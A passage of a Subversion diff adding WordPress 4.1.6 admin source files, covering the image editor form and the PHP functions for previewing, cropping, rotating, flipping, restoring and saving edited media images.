+		<span class="nowrap"><input type="text" id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1)" style="width:4em;" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" /> &times; <input type="text" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0)" style="width:4em;" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
+		<span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>">!</span></span>
+		<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary" value="<?php esc_attr_e( 'Scale' ); ?>" />
+		</div>
+	</div>
+	</div>
+
+<?php if ( $can_restore ) { ?>
+
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h3><a onclick="imageEdit.toggleHelp(this);return false;" href="#"><?php _e('Restore Original Image'); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></a></h3>
+		<div class="imgedit-help">
+		<p><?php _e('Discard any changes and restore the original image.');
+
+		if ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE )
+			echo ' '.__('Previously edited copies of the image will not be deleted.');
+
+		?></p>
+		<div class="imgedit-submit">
+		<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> />
+		</div>
+		</div>
+	</div>
+	</div>
+
+<?php } ?>
+
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h3><?php _e('Image Crop'); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3>
+
+		<div class="imgedit-help">
+		<p><?php _e('To crop the image, click on it and drag to make your selection.'); ?></p>
+
+		<p><strong><?php _e('Crop Aspect Ratio'); ?></strong><br />
+		<?php _e('The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc.'); ?></p>
+
+		<p><strong><?php _e('Crop Selection'); ?></strong><br />
+		<?php _e('Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings.'); ?></p>
+		</div>
+	</div>
+
+	<p>
+		<?php _e('Aspect ratio:'); ?>
+		<span  class="nowrap">
+		<input type="text" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" style="width:3em;" />
+		:
+		<input type="text" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" style="width:3em;" />
+		</span>
+	</p>
+
+	<p id="imgedit-crop-sel-<?php echo $post_id; ?>">
+		<?php _e('Selection:'); ?>
+		<span  class="nowrap">
+		<input type="text" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>)" style="width:4em;" />
+		&times;
+		<input type="text" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>)" style="width:4em;" />
+		</span>
+	</p>
+	</div>
+
+	<?php if ( $thumb && $sub_sizes ) {
+		$thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 );
+	?>
+
+	<div class="imgedit-group imgedit-applyto">
+	<div class="imgedit-group-top">
+		<h3><?php _e('Thumbnail Settings'); ?> <a href="#" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;"></a></h3>
+		<p class="imgedit-help"><?php _e('You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image.'); ?></p>
+	</div>
+
+	<p>
+		<img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" />
+		<br /><?php _e('Current thumbnail'); ?>
+	</p>
+
+	<p id="imgedit-save-target-<?php echo $post_id; ?>">
+		<strong><?php _e('Apply changes to:'); ?></strong><br />
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" />
+		<?php _e('All image sizes'); ?></label>
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" />
+		<?php _e('Thumbnail'); ?></label>
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" />
+		<?php _e('All sizes except thumbnail'); ?></label>
+	</p>
+	</div>
+
+	<?php } ?>
+
+	</div>
+
+	<div class="imgedit-panel-content">
+		<?php echo $note; ?>
+		<div class="imgedit-menu">
+			<div onclick="imageEdit.crop(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-crop disabled" title="<?php esc_attr_e( 'Crop' ); ?>"></div><?php
+
+		// On some setups GD library does not provide imagerotate() - Ticket #11536
+		if ( wp_image_editor_supports( array( 'mime_type' => get_post_mime_type( $post_id ), 'methods' => array( 'rotate' ) ) ) ) { ?>
+			<div class="imgedit-rleft"  onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)" title="<?php esc_attr_e( 'Rotate counter-clockwise' ); ?>"></div>
+			<div class="imgedit-rright" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)" title="<?php esc_attr_e( 'Rotate clockwise' ); ?>"></div>
+	<?php } else {
+			$note_no_rotate = esc_attr__('Image rotation is not supported by your web host.');
+	?>
+		    <div class="imgedit-rleft disabled"  title="<?php echo $note_no_rotate; ?>"></div>
+		    <div class="imgedit-rright disabled" title="<?php echo $note_no_rotate; ?>"></div>
+	<?php } ?>
+
+			<div onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-flipv" title="<?php esc_attr_e( 'Flip vertically' ); ?>"></div>
+			<div onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-fliph" title="<?php esc_attr_e( 'Flip horizontally' ); ?>"></div>
+
+			<div id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo disabled" title="<?php esc_attr_e( 'Undo' ); ?>"></div>
+			<div id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo disabled" title="<?php esc_attr_e( 'Redo' ); ?>"></div>
+			<br class="clear" />
+		</div>
+
+		<input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" />
+		<input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" />
+		<input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" />
+		<input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" />
+		<input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
+		<input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
+
+		<div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap">
+		<img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')" src="<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>?action=imgedit-preview&amp;_ajax_nonce=<?php echo $nonce; ?>&amp;postid=<?php echo $post_id; ?>&amp;rand=<?php echo rand(1, 99999); ?>" />
+		</div>
+
+		<div class="imgedit-submit">
+			<input type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button" value="<?php esc_attr_e( 'Cancel' ); ?>" />
+			<input type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn" value="<?php esc_attr_e( 'Save' ); ?>" />
+		</div>
+	</div>
+
+	</div>
+	<div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div>
+	<script type="text/javascript">jQuery( function() { imageEdit.init(<?php echo $post_id; ?>); });</script>
+	<div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e("There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor."); ?></div>
+	</div>
+<?php
+}
+
+/**
+ * Streams image in WP_Image_Editor to browser.
+ * Provided for backcompat reasons
+ *
+ * @param WP_Image_Editor $image
+ * @param string $mime_type
+ * @param int $post_id
+ * @return boolean
+ */
+function wp_stream_image( $image, $mime_type, $post_id ) {
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/**
+		 * Filter the WP_Image_Editor instance for the image to be streamed to the browser.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
+		 * @param int             $post_id Post ID.
+		 */
+		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );
+
+		if ( is_wp_error( $image->stream( $mime_type ) ) )
+			return false;
+
+		return true;
+	} else {
+		_deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) );
+
+		/**
+		 * Filter the GD image resource to be streamed to the browser.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use image_editor_save_pre instead.
+		 *
+		 * @param resource $image   Image resource to be streamed.
+		 * @param int      $post_id Post ID.
+		 */
+		$image = apply_filters( 'image_save_pre', $image, $post_id );
+
+		switch ( $mime_type ) {
+			case 'image/jpeg':
+				header( 'Content-Type: image/jpeg' );
+				return imagejpeg( $image, null, 90 );
+			case 'image/png':
+				header( 'Content-Type: image/png' );
+				return imagepng( $image );
+			case 'image/gif':
+				header( 'Content-Type: image/gif' );
+				return imagegif( $image );
+			default:
+				return false;
+		}
+	}
+}
+
+/**
+ * Saves Image to File
+ *
+ * @param string $filename
+ * @param WP_Image_Editor $image
+ * @param string $mime_type
+ * @param int $post_id
+ * @return boolean
+ */
+function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/** This filter is documented in wp-admin/includes/image-edit.php */
+		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );
+
+		/**
+		 * Filter whether to skip saving the image file.
+		 *
+		 * Returning a non-null value will short-circuit the save method,
+		 * returning that value instead.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param mixed           $override  Value to return instead of saving. Default null.
+		 * @param string          $filename  Name of the file to be saved.
+		 * @param WP_Image_Editor $image     WP_Image_Editor instance.
+		 * @param string          $mime_type Image mime type.
+		 * @param int             $post_id   Post ID.
+		 */
+		$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );
+
+		if ( null !== $saved )
+			return $saved;
+
+		return $image->save( $filename, $mime_type );
+	} else {
+		_deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) );
+
+		/** This filter is documented in wp-admin/includes/image-edit.php */
+		$image = apply_filters( 'image_save_pre', $image, $post_id );
+
+		/**
+		 * Filter whether to skip saving the image file.
+		 *
+		 * Returning a non-null value will short-circuit the save method,
+		 * returning that value instead.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use wp_save_image_editor_file instead.
+		 *
+		 * @param mixed           $override  Value to return instead of saving. Default null.
+		 * @param string          $filename  Name of the file to be saved.
+		 * @param WP_Image_Editor $image     WP_Image_Editor instance.
+		 * @param string          $mime_type Image mime type.
+		 * @param int             $post_id   Post ID.
+		 */
+		$saved = apply_filters( 'wp_save_image_file', null, $filename, $image, $mime_type, $post_id );
+
+		if ( null !== $saved )
+			return $saved;
+
+		switch ( $mime_type ) {
+			case 'image/jpeg':
+
+				/** This filter is documented in wp-includes/class-wp-image-editor.php */
+				return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
+			case 'image/png':
+				return imagepng( $image, $filename );
+			case 'image/gif':
+				return imagegif( $image, $filename );
+			default:
+				return false;
+		}
+	}
+}
+
+function _image_get_preview_ratio($w, $h) {
+	$max = max($w, $h);
+	return $max > 400 ? (400 / $max) : 1;
+}
+
+// @TODO: Returns GD resource, but is NOT public
+function _rotate_image_resource($img, $angle) {
+	_deprecated_function( __FUNCTION__, '3.5', __( 'Use WP_Image_Editor::rotate' ) );
+	if ( function_exists('imagerotate') ) {
+		$rotated = imagerotate($img, $angle, 0);
+		if ( is_resource($rotated) ) {
+			imagedestroy($img);
+			$img = $rotated;
+		}
+	}
+	return $img;
+}
+
+/**
+ * @TODO: Only used within image_edit_apply_changes
+ *		  and receives/returns GD Resource.
+ *		  Consider removal.
+ *
+ * @param GD_Resource $img
+ * @param boolean $horz
+ * @param boolean $vert
+ * @return GD_Resource
+ */
+function _flip_image_resource($img, $horz, $vert) {
+	_deprecated_function( __FUNCTION__, '3.5', __( 'Use WP_Image_Editor::flip' ) );
+	$w = imagesx($img);
+	$h = imagesy($img);
+	$dst = wp_imagecreatetruecolor($w, $h);
+	if ( is_resource($dst) ) {
+		$sx = $vert ? ($w - 1) : 0;
+		$sy = $horz ? ($h - 1) : 0;
+		$sw = $vert ? -$w : $w;
+		$sh = $horz ? -$h : $h;
+
+		if ( imagecopyresampled($dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh) ) {
+			imagedestroy($img);
+			$img = $dst;
+		}
+	}
+	return $img;
+}
+
+/**
+ * @TODO: Only used within image_edit_apply_changes
+ *		  and receives/returns GD Resource.
+ *		  Consider removal.
+ *
+ * @param GD_Resource $img
+ * @param float $x
+ * @param float $y
+ * @param float $w
+ * @param float $h
+ * @return GD_Resource
+ */
+function _crop_image_resource($img, $x, $y, $w, $h) {
+	$dst = wp_imagecreatetruecolor($w, $h);
+	if ( is_resource($dst) ) {
+		if ( imagecopy($dst, $img, 0, 0, $x, $y, $w, $h) ) {
+			imagedestroy($img);
+			$img = $dst;
+		}
+	}
+	return $img;
+}
+
+/**
+ * Performs group of changes on Editor specified.
+ *
+ * @since 2.9.0
+ *
+ * @param WP_Image_Editor $image   {@see WP_Image_Editor} instance.
+ * @param array           $changes Array of change operations.
+ * @return WP_Image_Editor {@see WP_Image_Editor} instance with changes applied.
+ */
+function image_edit_apply_changes( $image, $changes ) {
+	if ( is_resource( $image ) )
+		_deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) );
+
+	if ( !is_array($changes) )
+		return $image;
+
+	// Expand change operations.
+	foreach ( $changes as $key => $obj ) {
+		if ( isset($obj->r) ) {
+			$obj->type = 'rotate';
+			$obj->angle = $obj->r;
+			unset($obj->r);
+		} elseif ( isset($obj->f) ) {
+			$obj->type = 'flip';
+			$obj->axis = $obj->f;
+			unset($obj->f);
+		} elseif ( isset($obj->c) ) {
+			$obj->type = 'crop';
+			$obj->sel = $obj->c;
+			unset($obj->c);
+		}
+		$changes[$key] = $obj;
+	}
+
+	// Combine operations.
+	if ( count($changes) > 1 ) {
+		$filtered = array($changes[0]);
+		for ( $i = 0, $j = 1; $j < count($changes); $j++ ) {
+			$combined = false;
+			if ( $filtered[$i]->type == $changes[$j]->type ) {
+				switch ( $filtered[$i]->type ) {
+					case 'rotate':
+						$filtered[$i]->angle += $changes[$j]->angle;
+						$combined = true;
+						break;
+					case 'flip':
+						$filtered[$i]->axis ^= $changes[$j]->axis;
+						$combined = true;
+						break;
+				}
+			}
+			if ( !$combined )
+				$filtered[++$i] = $changes[$j];
+		}
+		$changes = $filtered;
+		unset($filtered);
+	}
+
+	// Image resource before applying the changes.
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/**
+		 * Filter the WP_Image_Editor instance before applying changes to the image.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
+ 		 * @param array           $changes Array of change operations.
+		 */
+		$image = apply_filters( 'wp_image_editor_before_change', $image, $changes );
+	} elseif ( is_resource( $image ) ) {
+
+		/**
+		 * Filter the GD image resource before applying changes to the image.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use wp_image_editor_before_change instead.
+		 *
+		 * @param resource $image   GD image resource.
+ 		 * @param array    $changes Array of change operations.
+		 */
+		$image = apply_filters( 'image_edit_before_change', $image, $changes );
+	}
+
+	foreach ( $changes as $operation ) {
+		switch ( $operation->type ) {
+			case 'rotate':
+				if ( $operation->angle != 0 ) {
+					if ( $image instanceof WP_Image_Editor )
+						$image->rotate( $operation->angle );
+					else
+						$image = _rotate_image_resource( $image, $operation->angle );
+				}
+				break;
+			case 'flip':
+				if ( $operation->axis != 0 )
+					if ( $image instanceof WP_Image_Editor )
+						$image->flip( ($operation->axis & 1) != 0, ($operation->axis & 2) != 0 );
+					else
+						$image = _flip_image_resource( $image, ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 );
+				break;
+			case 'crop':
+				$sel = $operation->sel;
+
+				if ( $image instanceof WP_Image_Editor ) {
+					$size = $image->get_size();
+					$w = $size['width'];
+					$h = $size['height'];
+
+					$scale = 1 / _image_get_preview_ratio( $w, $h ); // discard preview scaling
+					$image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
+				} else {
+					$scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // discard preview scaling
+					$image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
+				}
+				break;
+		}
+	}
+
+	return $image;
+}
+
+
+/**
+ * Streams image in post to browser, along with enqueued changes
+ * in $_REQUEST['history']
+ *
+ * @param int $post_id
+ * @return boolean
+ */
+function stream_preview_image( $post_id ) {
+	$post = get_post( $post_id );
+
+	/** This filter is documented in wp-admin/admin.php */
+	@ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+
+	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) );
+
+    if ( is_wp_error( $img ) )
+        return false;
+
+	$changes = !empty($_REQUEST['history']) ? json_decode( wp_unslash($_REQUEST['history']) ) : null;
+	if ( $changes )
+		$img = image_edit_apply_changes( $img, $changes );
+
+	// Scale the image.
+	$size = $img->get_size();
+	$w = $size['width'];
+	$h = $size['height'];
+
+	$ratio = _image_get_preview_ratio( $w, $h );
+	$w2 = max ( 1, $w * $ratio );
+	$h2 = max ( 1, $h * $ratio );
+
+	if ( is_wp_error( $img->resize( $w2, $h2 ) ) )
+		return false;
+
+	return wp_stream_image( $img, $post->post_mime_type, $post_id );
+}
+
+/**
+ * @param int $post_id
+ * @return stdClass
+ */
+function wp_restore_image($post_id) {
+	$meta = wp_get_attachment_metadata($post_id);
+	$file = get_attached_file($post_id);
+	$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
+	$restored = false;
+	$msg = new stdClass;
+
+	if ( !is_array($backup_sizes) ) {
+		$msg->error = __('Cannot load image metadata.');
+		return $msg;
+	}
+
+	$parts = pathinfo($file);
+	$suffix = time() . rand(100, 999);
+	$default_sizes = get_intermediate_image_sizes();
+
+	if ( isset($backup_sizes['full-orig']) && is_array($backup_sizes['full-orig']) ) {
+		$data = $backup_sizes['full-orig'];
+
+		if ( $parts['basename'] != $data['file'] ) {
+			if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) {
+
+				// Delete only if it's edited image.
+				if ( preg_match('/-e[0-9]{13}\./', $parts['basename']) ) {
+
+					/** This filter is documented in wp-admin/custom-header.php */
+					$delpath = apply_filters( 'wp_delete_file', $file );
+					@unlink($delpath);
+				}
+			} elseif ( isset( $meta['width'], $meta['height'] ) ) {
+				$backup_sizes["full-$suffix"] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $parts['basename']);
+			}
+		}
+
+		$restored_file = path_join($parts['dirname'], $data['file']);
+		$restored = update_attached_file($post_id, $restored_file);
+
+		$meta['file'] = _wp_relative_upload_path( $restored_file );
+		$meta['width'] = $data['width'];
+		$meta['height'] = $data['height'];
+	}
+
+	foreach ( $default_sizes as $default_size ) {
+		if ( isset($backup_sizes["$default_size-orig"]) ) {
+			$data = $backup_sizes["$default_size-orig"];
+			if ( isset($meta['sizes'][$default_size]) && $meta['sizes'][$default_size]['file'] != $data['file'] ) {
+				if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) {
+
+					// Delete only if it's edited image
+					if ( preg_match('/-e[0-9]{13}-/', $meta['sizes'][$default_size]['file']) ) {
+						/** This filter is documented in wp-admin/custom-header.php */
+						$delpath = apply_filters( 'wp_delete_file', path_join($parts['dirname'], $meta['sizes'][$default_size]['file']) );
+						@unlink($delpath);
+					}
+				} else {
+					$backup_sizes["$default_size-{$suffix}"] = $meta['sizes'][$default_size];
+				}
+			}
+
+			$meta['sizes'][$default_size] = $data;
+		} else {
+			unset($meta['sizes'][$default_size]);
+		}
+	}
+
+	if ( !wp_update_attachment_metadata($post_id, $meta) || !update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes) ) {
+		$msg->error = __('Cannot save image metadata.');
+		return $msg;
+	}
+
+	if ( !$restored )
+		$msg->error = __('Image metadata is inconsistent.');
+	else
+		$msg->msg = __('Image restored successfully.');
+
+	return $msg;
+}
+
+/**
+ * Saves image to post along with enqueued changes
+ * in $_REQUEST['history']
+ *
+ * @param int $post_id
+ * @return \stdClass
+ */
+function wp_save_image( $post_id ) {
+	global $_wp_additional_image_sizes;
+
+	$return = new stdClass;
+	$success = $delete = $scaled = $nocrop = false;
+	$post = get_post( $post_id );
+
+	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) );
+	if ( is_wp_error( $img ) ) {
+		$return->error = esc_js( __('Unable to create new image.') );
+		return $return;
+	}
+
+	$fwidth = !empty($_REQUEST['fwidth']) ? intval($_REQUEST['fwidth']) : 0;
+	$fheight = !empty($_REQUEST['fheight']) ? intval($_REQUEST['fheight']) : 0;
+	$target = !empty($_REQUEST['target']) ? preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['target']) : '';
+	$scale = !empty($_REQUEST['do']) && 'scale' == $_REQUEST['do'];
+
+	if ( $scale && $fwidth > 0 && $fheight > 0 ) {
+		$size = $img->get_size();
+		$sX = $size['width'];
+		$sY = $size['height'];
+
+		// Check if it has roughly the same w / h ratio.
+		$diff = round($sX / $sY, 2) - round($fwidth / $fheight, 2);
+		if ( -0.1 < $diff && $diff < 0.1 ) {
+			// Scale the full size image.
+			if ( $img->resize( $fwidth, $fheight ) )
+				$scaled = true;
+		}
+
+		if ( !$scaled ) {
+			$return->error = esc_js( __('Error while saving the scaled image. Please reload the page and try again.') );
+			return $return;
+		}
+	} elseif ( !empty($_REQUEST['history']) ) {
+		$changes = json_decode( wp_unslash($_REQUEST['history']) );
+		if ( $changes )
+			$img = image_edit_apply_changes($img, $changes);
+	} else {
+		$return->error = esc_js( __('Nothing to save, the image has not changed.') );
+		return $return;
+	}
+
+	$meta = wp_get_attachment_metadata($post_id);
+	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
+
+	if ( !is_array($meta) ) {
+		$return->error = esc_js( __('Image data does not exist. Please re-upload the image.') );
+		return $return;
+	}
+
+	if ( !is_array($backup_sizes) )
+		$backup_sizes = array();
+
+	// Generate new filename.
+	$path = get_attached_file($post_id);
+	$path_parts = pathinfo( $path );
+	$filename = $path_parts['filename'];
+	$suffix = time() . rand(100, 999);
+
+	if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE &&
+		isset($backup_sizes['full-orig']) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] ) {
+
+		if ( 'thumbnail' == $target )
+			$new_path = "{$path_parts['dirname']}/{$filename}-temp.{$path_parts['extension']}";
+		else
+			$new_path = $path;
+	} else {
+		while( true ) {
+			$filename = preg_replace( '/-e([0-9]+)$/', '', $filename );
+			$filename .= "-e{$suffix}";
+			$new_filename = "{$filename}.{$path_parts['extension']}";
+			$new_path = "{$path_parts['dirname']}/$new_filename";
+			if ( file_exists($new_path) )
+				$suffix++;
+			else
+				break;
+		}
+	}
+
+	// Save the full-size file, also needed to create sub-sizes.
+	if ( !wp_save_image_file($new_path, $img, $post->post_mime_type, $post_id) ) {
+		$return->error = esc_js( __('Unable to save the image.') );
+		return $return;
+	}
+
+	if ( 'nothumb' == $target || 'all' == $target || 'full' == $target || $scaled ) {
+		$tag = false;
+		if ( isset($backup_sizes['full-orig']) ) {
+			if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] )
+				$tag = "full-$suffix";
+		} else {
+			$tag = 'full-orig';
+		}
+
+		if ( $tag )
+			$backup_sizes[$tag] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $path_parts['basename']);
+
+		$success = update_attached_file( $post_id, $new_path );
+
+		$meta['file'] = _wp_relative_upload_path( $new_path );
+
+		$size = $img->get_size();
+		$meta['width'] = $size['width'];
+		$meta['height'] = $size['height'];
+
+		if ( $success && ('nothumb' == $target || 'all' == $target) ) {
+			$sizes = get_intermediate_image_sizes();
+			if ( 'nothumb' == $target )
+				$sizes = array_diff( $sizes, array('thumbnail') );
+		}
+
+		$return->fw = $meta['width'];
+		$return->fh = $meta['height'];
+	} elseif ( 'thumbnail' == $target ) {
+		$sizes = array( 'thumbnail' );
+		$success = $delete = $nocrop = true;
+	}
+
+	if ( isset( $sizes ) ) {
+		$_sizes = array();
+
+		foreach ( $sizes as $size ) {
+			$tag = false;
+			if ( isset( $meta['sizes'][$size] ) ) {
+				if ( isset($backup_sizes["$size-orig"]) ) {
+					if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes["$size-orig"]['file'] != $meta['sizes'][$size]['file'] )
+						$tag = "$size-$suffix";
+				} else {
+					$tag = "$size-orig";
+				}
+
+				if ( $tag )
+					$backup_sizes[$tag] = $meta['sizes'][$size];
+			}
+
+			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
+				$width  = intval( $_wp_additional_image_sizes[ $size ]['width'] );
+				$height = intval( $_wp_additional_image_sizes[ $size ]['height'] );
+				$crop   = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop'];
+			} else {
+				$height = get_option( "{$size}_size_h" );
+				$width  = get_option( "{$size}_size_w" );
+				$crop   = ( $nocrop ) ? false : get_option( "{$size}_crop" );
+			}
+
+			$_sizes[ $size ] = array( 'width' => $width, 'height' => $height, 'crop' => $crop );
+		}
+
+		$meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) );
+	}
+
+	unset( $img );
+
+	if ( $success ) {
+		wp_update_attachment_metadata( $post_id, $meta );
+		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes);
+
+		if ( $target == 'thumbnail' || $target == 'all' || $target == 'full' ) {
+			// Check if it's an image edit from attachment edit screen
+			if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' == $_REQUEST['context'] ) {
+				$thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true );
+				$return->thumbnail = $thumb_url[0];
+			} else {
+				$file_url = wp_get_attachment_url($post_id);
+				if ( ! empty( $meta['sizes']['thumbnail'] ) && $thumb = $meta['sizes']['thumbnail'] ) {
+					$return->thumbnail = path_join( dirname($file_url), $thumb['file'] );
+				} else {
+					$return->thumbnail = "$file_url?w=128&h=128";
+				}
+			}
+		}
+	} else {
+		$delete = true;
+	}
+
+	if ( $delete ) {
+
+		/** This filter is documented in wp-admin/custom-header.php */
+		$delpath = apply_filters( 'wp_delete_file', $new_path );
+		@unlink( $delpath );
+	}
+
+	$return->msg = esc_js( __('Image saved') );
+	return $return;
+}
Index: /tags/4.1.6/src/wp-admin/includes/image.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/image.php	(revision 33402)
@@ -0,0 +1,604 @@
+<?php
+/**
+ * File contains all the administration image manipulation functions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Crop an Image to a given size.
+ *
+ * @since 2.1.0
+ *
+ * @param string|int $src The source file or Attachment ID.
+ * @param int $src_x The start x position to crop from.
+ * @param int $src_y The start y position to crop from.
+ * @param int $src_w The width to crop.
+ * @param int $src_h The height to crop.
+ * @param int $dst_w The destination width.
+ * @param int $dst_h The destination height.
+ * @param int $src_abs Optional. If the source crop points are absolute.
+ * @param string $dst_file Optional. The destination file to write to.
+ * @return string|WP_Error New filepath on success, WP_Error on failure.
+ */
+function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
+	$src_file = $src;
+	if ( is_numeric( $src ) ) { // Handle int as attachment ID
+		$src_file = get_attached_file( $src );
+
+		if ( ! file_exists( $src_file ) ) {
+			// If the file doesn't exist, attempt a url fopen on the src link.
+			// This can occur with certain file replication plugins.
+			$src = _load_image_to_edit_path( $src, 'full' );
+		} else {
+			$src = $src_file;
+		}
+	}
+
+	$editor = wp_get_image_editor( $src );
+	if ( is_wp_error( $editor ) )
+		return $editor;
+
